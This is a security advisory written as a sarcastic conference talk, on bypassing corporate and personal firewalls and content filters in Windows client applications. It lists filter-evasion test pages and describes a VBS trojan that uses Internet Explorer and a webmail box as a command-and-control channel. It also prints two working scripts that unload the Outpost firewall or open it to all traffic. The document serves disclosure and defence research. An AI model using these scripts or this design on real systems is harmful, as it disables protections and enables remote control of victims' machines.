From: 3APA3A at SECURITY.NNOV.RU (3APA3A)
Subject: Presentation: Bypassing client application protection techniques with notepad


Topic: Bypassing client application protection techniques
Category: Protection bypass
Affected products:
 CheckPoint  VPN-1(TM)  & FireWall-1(R) NG with Application Intelligence
 (R55) HFA 9
 Microsoft Windows XP SP2
 Agnitum Outpost Pro 2.1, 2.5
 Tiny Firewall Pro v6.0.100
 ZoneAlarm Pro with Web Filtering v4.5.594
 BlackICE PC Protection 3.6
 Kerio Personal Firewall 4.0
 WRQ ATGuard 3.2
Authors:
 offtopic, <offtopic@...l.ru>
 3APA3A, <3APA3A@...urity.nnov.ru>
Original link:
 http://www.security.nnov.ru/advisories/bypassing.asp
Special   thanks  to  Igor  U.  Miturin  for  testing  and  coordinating
Checkpoint   issues,   to  Checkpoint  for  cooperation,  to Agnitum for
"opossum" topic public debates and some ideas.


Disclaimer:

</SARCASM>
This  article is neither attempt to teach scriptkiddies to write trojans
nor  attempt to create one by authors. It's a call to security community
to  activate  discussion  on  protection  techniques for Internet client
application  security. Yes, we want to fire a flame. We apologies we did
not  contacted  vendors  on  many  issues  they may consider as security
vulnerabilities  in  their  products.  We  believe,  to  solve discussed
problem  instead  of  fixing  illustrating  PoCs,  all  products must be
architecturally  changed,  not  patched. Before architectural change any
schoolboy  with  scripting  skills  can  get access to corporate network
protected  by  advertised product. We share a point of view, this should
not be treated as product vulnerability.
<SARCASM>
<APPLAUSE />
(yes, pedram).



1. Introduction

 1.1 Front end security

 Last  years  were  revolutionary  for  network  services infrastructure
 security.  In  addition to more secure and stable operation systems and
 services,  we've got a lot of industrial solutions - stateful firewalls
 with  level  7 inspection, intrusion detection and intrusion prevention
 systems,  reliable  clusters  and  distributed  solutions to fight DDoS
 attacks...  And  we  got  actually  nothing  in  the  field  of  client
 application  protection.  Security of client network applications, such
 as  browsers, mail and instant messaging agents is on the same level it
 was  5  years  ago, and things became worse, because these applications
 are now critical for business, we can not simply stop using e-mail.
 <APPLAUSE />

 Client application security is very important, because same application
 can   be  used to process untrusted, potentially dangerous data as well
 as sensitive information.
 <OBJECTIONS FROM HALL, LEFT UNANSWERED />

 We,  as  many  security professionals, have a feeling industry moves to
 wrong  direction  in  the  area  of  client  application  security.  To
 demonstrate  this  point  of view, this article was written. We discuss
 some  methods  of  breaking  into  managed, protected corporate network
 without  any  special skills. "Exploits" illustrating this article were
 written with notepad.exe.

 1.2  What  do  you  use to protect your client systems against Internet
 attack?

 There  are very few widely deployed techniques. Among them are: content
 filtering  on  corporate  firewall  (including antiviral filtering) and
 personal  antiviruses  and  personal  firewalls  (PFW).  In addition to
 content  filtering  personal  firewalls implement integrity control for
 applications and system by controlling integrity of the files, blocking
 access  to  some  API  functions  and  limiting  network access to only
 trusted applications.

 Of  cause, there are few really interesting approaches to secure client
 applications,  some  of  them  are  discussed  later, but usually these
 techniques are not generally used.

 1.3 What will we demonstrate.

 We  will  not  teach you how to attack any specific client application.
 Latest   Mozilla   experience   demonstrate,  security  bug  in  client
 application  can always be found for approximately $500 (should we talk
 about Internet Explorer? Mozilla goes with discounted price because not
 demanded  on  zombi  market).  We will try to illustrate, that $500 is,
 probably,  all  that required to get access to your network. It doesn't
 depend on protection techniques listed above, because protection can be
 bypassed by any schoolboy. If this protection is all you have, you have
 no  protection  at all. In fact, iDefense makes more for community than
 any PWF vendor (it's not a joke): it pays for newly discovered security
 issue  more  than shadow market does. At least you have additional $500
 to your security this way.
 <LAUGHING, OBJECTIONS (LEFT UNANSWERED), APPLAUSE />
 </SARCASM>
 Problem  of paid vulnerability research is not black-and-white like one
 can   believe.  Without  commercial  software  or  commercial  services
 freeware  would  not survive, because good programmer needs money. Same
 tendencies  are in vulnerability research. C'est la vie. We can discuss
 it.
 <SARCASM>
 Full-disclosure? Who believe in it...

 So, we proudly present you how to:

 Bypass  content  filtering  for  corporate  and personal firewall (yes,
 again, and again and again).
 Bypass network access protection for personal firewall
 Bypass integrity protection for personal firewall or antivirus.

 Above  is a list of tested products. It's incomplete. Some vendors were
 contacted and replied. Some fixes were published, but none of contacted
 vendors  was  able to fix all problems discussed. We do not belive it's
 possible  in nearest future to prevent corporate network protected only
 with firewalls, personal firewalls and antiviruses from being hacked by
 the schoolboy.

<DEEP SILENCE />
<PUTTING MEAN BLACK HATS ON />
2. Bypassing content filtering again and again and again
 ____________________________________________________________
 Axiom: there is always one more way to bypass content filter.

 Explanation:   because   content  filter  and  client  application  use
 different   algorithms  for  data  processing,  there  is  always  data
 processed differently by client application and content filter.


 2.1 Configuration used

 In our configuration we used content filtering features of 2 firewalls:
 Checkpoint  as corporate firewall and Agnitum Outpost Pro as a personal
 firewall.  Both  firewalls  were  set  to  filter scripting and ActiveX
 elements.  By  using  few techniques described in [1] we wrote a set of
 tests  to  attack Internet Explorer protected by these 2 firewalls (and
 additionally  with  2  different  antiviruses) on 2 different levels to
 execute javascript.

 2.2 Test descriptions:

  2.2.1 http://www.security.nnov.ru/files/opossum/test1.html
  Problem with special characters (0x0B) demonstrated. [1].II.9
 
  2.2.2 http://www.security.nnov.ru/files/opossum/test2.html
  Problem with RFC2781 decoding (UTF-16, little endian). [1].II.1

  2.2.3 http://www.security.nnov.ru/files/opossum/test3.html
  Problem with RFC2781 decoding (UTF-16,  big endian). [1].II.1

  2.2.4 http://www.security.nnov.ru/files/opossum/test4.gif
  Different approach of different clients to content type definition [1].II.13
  
  2.2.5 http://www.security.nnov.ru/files/opossum/test5.gif
  Same as 2.2.4 + exploitation  of stream buffering.

  2.2.6 http://www.security.nnov.ru/files/opossum/test6.html
  Problem with special characters (0x00) demonstrated. [1].II.9

  2.2.7 http://www.security.nnov.ru/files/opossum/test7.asp
  Inability to parse UTF-7 encoding (with Content-Type) [1].II.2

  2.2.8 http://www.security.nnov.ru/files/opossum/test8.html
  Inability to parse UTF-7 encoding (with Meta http-equiv) [1].II.2

  2.2.9 http://www.security.nnov.ru/files/opossum/test9.html
  Inability  to  catch  scripting  via  expression().  Was  described by
  http-equiv  (malware.com).

  2.2.10. http://www.security.nnov.ru/files/opossum/test10.html
  Inability to catch scripting in styles [1].II.15
  
  2.2.11 http://www.security.nnov.ru/files/opossum/test11.mht
  Inability to parse MHT files (RFC 2557)

  Content  filtering bypass techniques used are known for years. Outpost
  failed all tests. Checkpoint failed 2.2.2, 2.2.3, 2.2.6, 2.2.8, 2.2.9,
  2.2.10, 2.2.11.

 2.3 Vendors:

  Both  Checkpoint  and Agnitum were contacted. Checkpoint covers issues
  discussed   in   R55HFA10.  2.2.10  and  2.2.11  additionally  require
  disabling  CSS  and MHT with special settings (I do not believe it can
  be accepted as solution). Agnitum fixes very few issues in Outpost 2.5
  version.  Please, check your own content filter before blaming Agnitum
  or Checkpoint.

3. Bypassing network access restrictions with trusted application
 ____________________________________________________________
 Axiom: Malware is undistinguishable from user application

  Next  step  after  successful  client  application  attack  is usually
  getting remote control on attacked computer.

  Personal  firewall  usually restricts access to network to the list of
  allowed  application.  In addition, integrity of these applications is
  controlled to prevent code insertion into executable file. It makes it
  impossible to install trojan application with direct network access.

  Common  idea  behind  bypassing  this  protection  is  using  trusted
  application (for example browser) to access external network. Usually,
  execution  flow  of  target  application with DLL injection technique,
  WriteProcessMemory(), CreateRemoteThread() or something like this. You
  can find description in [1] and [2]. These methods require programming
  skills,  additionally,  personal firewall could set a hooks to protect
  against  this kind of attack. Additionally, trojan application in this
  case   should   implement   almost  all  network  functions, including
  network topology discovery and proxy communication.

  Additionally,  access  of  client application can be limited only to a
  list of trusted sites.

  Our  approach  is  very  simple.  We  call  it CAT (Client Application
  Trojaning).  We use trusted application itself without attempt to hack
  into it's code..
   http://www.security.nnov.ru/files/opossum/CAT.zip
  is  simple  PoC application. CAT uses COM to launch and control client
  application  (Internet  Explorer). This allows practically full access
  to  the IE recourses, so we can ask IE to navigate to our site, and IE
  will  use  its  proxy's  and  other settings. We don't need to include
  http-client code in our application - IE does all work for us.

  Another  interesting  thing  -  it's  a work via trusted sites. In our
  example  Trojan  uses  www.mail.ru server to communicate with bad guy,
  but  it  easy  to  use  other  trusted  network  services, for example
  Google's proxy
  (http://translate.google.com/translate?hl=en&u=www.phrack.org).
  Additionally  almost  any search system can be used as proxy with only
  limitation that each iteration may require few days.
  
  This CAT PoC works as next:

  - It creates IE COM object, navigates to www.mail.ru site.
  - CAT passes username and password to the site, and gets access to mailbox
  - CAT sends notification message "ready" to specified mailbox
  - Every 20 seconds CAT checks mailbox for messages with XXX.request
    subject (XXX - integer number).
  -  If  message  appears in mailbox, CAT reads it, deletes message, and
    process it's data as a batch file.
  - Execution results are send to predefined account.

  remove IE.Visible = true
  line to run application in hidden mode.

  All  this great functionality lies in 100 lines of VBS. You see, Basic
  can    be   more   effective   than   assembler.
  <ARE NOT WE SCRIPTKIDDIES IN IMAGINARY BLACK HATS?>
  ILOVEYOU  and  another scripting viruses demonstrated application like
  this  can  be  written by 14 y.o. schoolboys. VBS can be executed from
  Microsoft  Office  applications,  Windows Explorer, Internet Explorer,
  etc.

  All  personal  firewalls  tested,  except Outpost 2.5 failed to detect
  information   leak  with  this  script.  Outpost  2.5  requires  minor
  modification  for  original script to start one additional IE instance
  before launching IE via COM, script modification is set as homework.

4. Bypassing personal firewall integrity protection
 ____________________________________________________________
 Axiom: Malware is undistinguishable from user

  This script unloads Outpost firewall (any version)

       set WShell = CreateObject("WScript.Shell")

       WShell.Exec "C:\Program Files\Agnitum\Outpost Firewall\outpost.exe"
       WScript.Sleep 200
       WShell.AppActivate "Agnitum", TRUE
       WScript.Sleep 100
       WShell.SendKeys "{F10}{DOWN}{UP}{ENTER}"
       WScript.Sleep 100
       WShell.SendKeys "{ENTER}"

  Another  one  creates  a  rule  to  permit  Internet  access  for  all
  applications

       set WShell = CreateObject("WScript.Shell")

       WShell.Exec "C:\Program Files\Agnitum\Outpost Firewall\outpost.exe"
       WScript.Sleep 100
       WShell.AppActivate "Agnitum", TRUE
       WScript.Sleep 10
       WShell.SendKeys "{F10}{LEFT}{LEFT}{LEFT}"
       WScript.Sleep 10
       WShell.SendKeys "{DOWN}{DOWN}{DOWN}{DOWN}{ENTER}"
       WScript.Sleep 10
       WShell.SendKeys "a{ENTER}"
       WScript.Sleep 10
       WShell.SendKeys "{F10}{LEFT}{DOWN}"
       WScript.Sleep 10
       WShell.SendKeys "n"

<APPLAUSE, BRAVOS />
<MEAN HATS OFF />

5. Final noise.
 ____________________________________________________________
 Axiom: There is no cure against unknown Malware. There are no Axioms in
 client application protection.

 The  only  way  to  somehow  secure  client application is implementing
 sandbox  for  any  application  to  work with untrusted data. There are
 attempts to implement such sandbox without limiting it's functionality,
 for  example GeSWall [4](by the way this project is looking for sponsor
 on investor). There are few commercial solutions of this kind, I do not
 believe  any  of  this solution provides reliable security for Internet
 client  application.  Virtual machines for most architectures also have
 known flaws. Most reliable way to protect client application for now is
 creation  of  additional  DMZ  for  application  servers  and providing
 terminal  access  to  untrusted  applications inside DMZ. Configuration
 example  can  be  found  in  [5].  Of  cause, this approach is not 100%
 reliable too.

 That's all.

<LONG  APPLAUSE,  OBJECTIONS  FROM  HALL  (LEFT UNANSWERED), A COUPLE OF
WELL ANSWERED ROTTEN EGGS />

6. Links:

[1] 3APA3A, Bypassing content filtering software
http://www.security.nnov.ru/advisories/content.asp
[2] Firewall leak tester
http://www.firewallleaktester.com/
[3] rattle, Using Process Infection to Bypass Windows Software Firewalls
http://www.phrack.org/show.php?p=62&a=13
[4] GeSWall (General Systems Wall)
http://www.securesize.com/
[5] offtopic, 3APA3A, "In front of front-end security"
http://www.linuxchile.cl/docs.php?op=ver&id=65

<WARNING: SARCASM tag was not open within document \>
<WARNING: SARCASM tag was not closed within document \>

-- 
/3APA3A

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